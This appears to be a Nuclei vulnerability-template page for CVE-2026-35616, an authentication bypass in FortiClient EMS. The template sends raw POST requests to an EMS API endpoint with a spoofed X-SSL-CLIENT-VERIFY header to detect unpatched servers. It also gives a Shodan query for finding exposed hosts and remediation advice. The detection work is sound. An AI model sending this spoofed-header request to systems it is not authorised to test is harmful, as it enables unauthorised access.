FortiClient EMS - Authentication Bypass
CVE-2026-35616
Verified
Description
Detects whether Fortinet hotfix FG-IR-26-099 for CVE-2026-35616 is missing by comparing behavioral responses from a certificate-authenticated endpoint. The template sends X-SSL-CLIENT-VERIFY: SUCCESS without certificate material and checks whether this spoofed header changes server behavior.
Severity
High
Exploit Probability
43%
Affected Product
forticlient_ems
Published Date
April 9, 2026
Template Author
ritikchaddha
CVE-2026-35616.yaml
id: CVE-2026-35616
info:
name: FortiClient EMS - Authentication Bypass
author: ritikchaddha
severity: high
description: |
Detects whether Fortinet hotfix FG-IR-26-099 for CVE-2026-35616 is missing by comparing behavioral responses from a certificate-authenticated endpoint. The template sends X-SSL-CLIENT-VERIFY: SUCCESS without certificate material and checks whether this spoofed header changes server behavior.
impact: |
If spoofing X-SSL-CLIENT-VERIFY changes backend behavior, Apache is likely not stripping the header before Django, indicating the target is still vulnerable.
remediation: |
Apply Fortinet hotfix FG-IR-26-099 or upgrade to FortiClient EMS 7.4.7+.
reference:
- https://bishopfox.com/blog/api-authentication-bypass-in-forticlient-ems-7-4-5-7-4-6-cve-2026-35616
- https://nvd.nist.gov/vuln/detail/CVE-2026-35616
classification:
cve-id: CVE-2026-35616
epss-score: 0.43209
epss-percentile: 0.9755
cwe-id: CWE-284
metadata:
verified: true
max-request: 2
vendor: fortinet
product: forticlient_ems
shodan-query: http.favicon.hash:-800551065
tags: cve,cve2026,fortinet,forticlient,ems,auth-bypass,kev,vkev
http:
- raw:
- |
POST /api/v1/fabric_device_auth/fortigate/init HTTP/1.1
Host: {{Hostname}}
Content-Length: 0
f
- |
POST /api/v1/fabric_device_auth/fortigate/init HTTP/1.1
Host: {{Hostname}}
Content-Length: 0
X-SSL-CLIENT-VERIFY: SUCCESS
f
matchers:
- type: dsl
dsl:
- "contains(tolower(body_1), 'certificate not found')"
- "status_code_1 == 401 && status_code_2 == 500"
- "(body_1 != body_2)"
condition: and
# digest: 490a0046304402202020842f09e9346988027da8661fdbdf489ab94346bedd375e4fdfe61deaae5302203b281a7f09f77f26a6e6370814afd4700500a0ead4617601d7b1333bff823c74:922c64590222798bb761d5b6d8e729507.5Severity
CVSS Metrics
CVE ID:
cve-2026-35616
CWE ID:
cwe-284
Remediation Steps
Apply Fortinet hotfix FG-IR-26-099 or upgrade to FortiClient EMS 7.4.7+.